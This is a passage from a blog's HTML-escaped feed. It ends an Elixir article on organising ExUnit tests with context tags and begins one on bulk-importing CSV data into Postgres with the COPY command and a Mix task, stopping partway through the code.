&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;200&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Admin dashboard&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;@tag&lt;/code&gt; makes it easy to configure tests individually. It also puts the test setup at a more prominent spot: above each test case. This makes it easy to understand which use-case each test covers.&lt;/p&gt;
&lt;p&gt;Now, you can extend our test cases to cover unauthenticated users as well. Let&apos;s add a case that tests when users are not logged in and try to access the profile page, they only see a &lt;code&gt;404&lt;/code&gt;. Luckily, you moved the test setup to the shared &lt;code&gt;setup&lt;/code&gt;-block. This way, you have to make changes only in a single place and not in every individual test case. Update the &lt;code&gt;setup&lt;/code&gt;-block as follows:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;setup&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;if&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Map&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:authenticated&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;user_fixture&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;context&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;      &lt;span style=&quot;color: #ffa657;&quot;&gt;Plug.Conn&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;assign&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:current_user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;user&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;else&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;By default, the &lt;code&gt;setup&lt;/code&gt;-block will still create and assign a user, so you don&apos;t need to change your existing tests. However, you can easily add another test for unauthenticated users:&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;@&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;tag &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;authenticated: &lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;false&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;test&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;GET /profile shows 404 for unauthenticated users&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;%&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;conn: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;get&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;/profile&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;assert&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;html_response&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;conn&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;404&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=~&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;Not found&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And that&apos;s it! I hope you found this article useful and know how to better organize your tests now. If you found this helpful, consider following me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; for more Elixir tips. Until next time!&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/exunit-context-tags"/>
    <id>https://peterullrich.com/exunit-context-tags</id>
    <title>Organize your tests with context tags</title>
    <updated>2022-09-15T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Analyzing large amounts of data has become an everyday problem. Oftentimes, the datasets are only available as CSV file, which creates the the question of how you can import them into your Postgres database? The short answer: By using the Postgres&apos; &lt;code&gt;COPY&lt;/code&gt;-function. Here&apos;s the long answer:&lt;/p&gt;
&lt;p&gt;Let&apos;s imagine you have an &lt;code&gt;Ecto.Schema&lt;/code&gt; called &lt;code&gt;Location&lt;/code&gt; with the following definition:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;schema&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;locations&quot;&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:name&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:string&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:latitude&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:float&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;field&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:longitude&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:float&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The &lt;code&gt;locations&lt;/code&gt; table stores location data as latitude and longitude coordinates together with a &lt;code&gt;name&lt;/code&gt;. For example, this could be a street address with a house number and its geocoded &lt;code&gt;lat+long&lt;/code&gt; position.&lt;/p&gt;
&lt;p&gt;Now, let&apos;s imagine you have a CSV file called &lt;code&gt;locations.csv&lt;/code&gt; with 100.000 rows of location data and you want to import the data into your &lt;code&gt;locations&lt;/code&gt; table. In the following, we will use Postgres&apos; &lt;code&gt;COPY&lt;/code&gt;-function for that. First, we will call it directly from a &lt;code&gt;psql&lt;/code&gt;-session and then we will wrap it into a simple &lt;code&gt;Mix.Task&lt;/code&gt;. Let&apos;s go!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#most-efficient-postgress-copy&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;most-efficient-postgress-copy&quot;&gt;&lt;/a&gt;Most efficient: Postgres&apos;s &lt;code&gt;COPY&lt;/code&gt;&lt;/h2&gt;
&lt;p&gt;The fastest way of importing your data is to use Postgres&apos; &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-copy.html&quot;&gt;COPY&lt;/a&gt; function. You can use it in two ways: If your CSV file exists in the same file-system as your Postgres database, you can ask Postgres to simply move the data into the database. However, this won&apos;t work when you want to dump the data into a hosted database since the file exists only in your local filesystem. In that case, you can either use &lt;code&gt;COPY&lt;/code&gt;&apos;s little brother, the &lt;code&gt;\copy&lt;/code&gt;-command, or we leverage a &lt;code&gt;Postgrex&lt;/code&gt;-connection to stream the file through our Postgres session. We&apos;ll see how we can do that using Elixir later on.&lt;/p&gt;
&lt;p&gt;In all cases, Postgres&apos; &lt;code&gt;COPY&lt;/code&gt; is mind-bogglingly fast, but it has some limitations:&lt;/p&gt;
&lt;p&gt;&lt;code&gt;inserted_at&lt;/code&gt; and &lt;code&gt;updated_at&lt;/code&gt; timestamps won&apos;t be auto-generated. They need to exist in your CSV file. Importing a file without these timestamps will fail because of the &lt;code&gt;Not-Null&lt;/code&gt;-constraints on the timestamp fields. If you need timestamps, but can&apos;t add them to the file, consider adding your timestamp fields after you imported the data with for example:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;NaiveDateTime&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;utc_now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;update_all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #ffa657;&quot;&gt;Location&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;set: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;inserted_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;updated_at: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;now&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Importing complex associations is tricky. If your data has associations with other tables and you need to validate that e.g. an association on the other table exists, you have to do so manually after the data is imported. Postgres&apos; &lt;code&gt;COPY&lt;/code&gt;-command works best for &quot;dumb&quot; data that doesn&apos;t depend on other tables.&lt;/p&gt;
&lt;p&gt;Now, with these limitations in mind, let&apos;s have a look at how you can use Postgres&apos; &lt;code&gt;COPY&lt;/code&gt;-command.&lt;/p&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#copy-ing-without-elixir&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;copy-ing-without-elixir&quot;&gt;&lt;/a&gt;&lt;code&gt;COPY&lt;/code&gt;-ing without Elixir&lt;/h4&gt;
&lt;p&gt;First, double-check that your CSV file has the same column order as your database. Basically, your CSV should order the fields the same way your &lt;code&gt;Ecto.Schema&lt;/code&gt; defines them. In our case, our CSV needs to order the data as &lt;code&gt;name,latitude,longitude&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Next, open a &lt;code&gt;psql&lt;/code&gt;-session to your database. If you have Postgres running locally, use this command:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;psql&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-h&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;localhost&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-p&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;5432&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-U&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;postgres&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;-d&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;locations_dev&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Make sure to replace the parameters above with your own parameters. Pay special attention to the database name behind the &lt;code&gt;-d&lt;/code&gt; flag. This should equal the name of the database that you want to import the CSV to.&lt;/p&gt;
&lt;p&gt;Next, let&apos;s import the CSV file with the following command:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-bash&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;app_dev&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;#&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;COPY&lt;/span&gt; locations&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;name,latitude,longitude&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;FROM&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;./relative-or-absolute-path-to-your-file/data.csv&amp;#39;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;WITH&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;CSV&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;HEADER&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;DELIMITER&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;,&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;COPY&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;69638&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This command took only a second to run and imported almost 70k rows of location data! Amazing!&lt;/p&gt;
&lt;p&gt;When using the &lt;code&gt;COPY&lt;/code&gt;-command, Postgres moves the data using your file-system into the database. This is basic file copying and therefore is very fast. If you connected to a hosted database, this might take a bit longer because you first have to upload the file to the database server.&lt;/p&gt;
&lt;p&gt;We used a few &lt;a href=&quot;https://www.postgresql.org/docs/current/sql-copy.html&quot;&gt;options&lt;/a&gt; in our command.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;The &lt;code&gt;CSV&lt;/code&gt; told Postgres that we&apos;ll import a CSV file. You could also import &lt;code&gt;text&lt;/code&gt; or &lt;code&gt;binary&lt;/code&gt; data.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;HEADER&lt;/code&gt; option tells Postgres that our file has a header row which it should skip. If your file doesn&apos;t have a header row, you should remove this option.&lt;/li&gt;
&lt;li&gt;The &lt;code&gt;DELIMITER&lt;/code&gt; option informs Postgres about which character separates the values in our CSV file. Usually, this is a &lt;code&gt;,&lt;/code&gt;, but sometimes this might be a &lt;code&gt;;&lt;/code&gt; or something even fancier. If your file is comma-separated (&lt;code&gt;,&lt;/code&gt;), you can remove this option.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Here are a few troubleshooting tips, if this command didn&apos;t work for you:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;&lt;strong&gt;The file can&apos;t be found.&lt;/strong&gt; You probably run Postgres in a Docker container or connected to a hosted Postgres instance. In that case, your file doesn&apos;t exist in the same file-system as your database and you first need to copy the file to the Postgres instance. Postgres will do this for you if you replace &lt;code&gt;COPY&lt;/code&gt; with &lt;code&gt;\copy&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;My file doesn&apos;t have headers.&lt;/strong&gt; Easy. Simply remove &lt;code&gt;HEADER&lt;/code&gt; word from the command.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;My file uses &apos;;&apos; instead of &apos;,&apos;.&lt;/strong&gt; Also easy. Simply replace &lt;code&gt;&apos;,&apos;&lt;/code&gt; with &lt;code&gt;&apos;;&apos;&lt;/code&gt; behind &lt;code&gt;DELIMITER&lt;/code&gt; in the command.&lt;/li&gt;
&lt;/ol&gt;
&lt;h4&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#copy-ing-with-elixir&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;copy-ing-with-elixir&quot;&gt;&lt;/a&gt;&lt;code&gt;COPY&lt;/code&gt;-ing with Elixir&lt;/h4&gt;
&lt;p&gt;As you saw above, you can execute the &lt;code&gt;COPY&lt;/code&gt;-command directly in a &lt;code&gt;psql&lt;/code&gt; session in your database. However, let&apos;s see how we can build an &lt;code&gt;Elixir&lt;/code&gt; wrapper around this command instead. That way, you can easily reuse your already configured &lt;code&gt;Ecto.Repo&lt;/code&gt; connection of your Phoenix application.&lt;/p&gt;
&lt;p&gt;Let&apos;s create a file in &lt;code&gt;app/lib/mix/tasks/import_data.ex&lt;/code&gt; and fill it with a &lt;code&gt;Mix.Task&lt;/code&gt; like this:&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;defmodule&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Mix.Tasks.ImportData&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;use&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Mix.Task&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;path&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #ffa657;&quot;&gt;Mix.Task&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;run&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;app.start&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;]&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;opts&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;App.Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
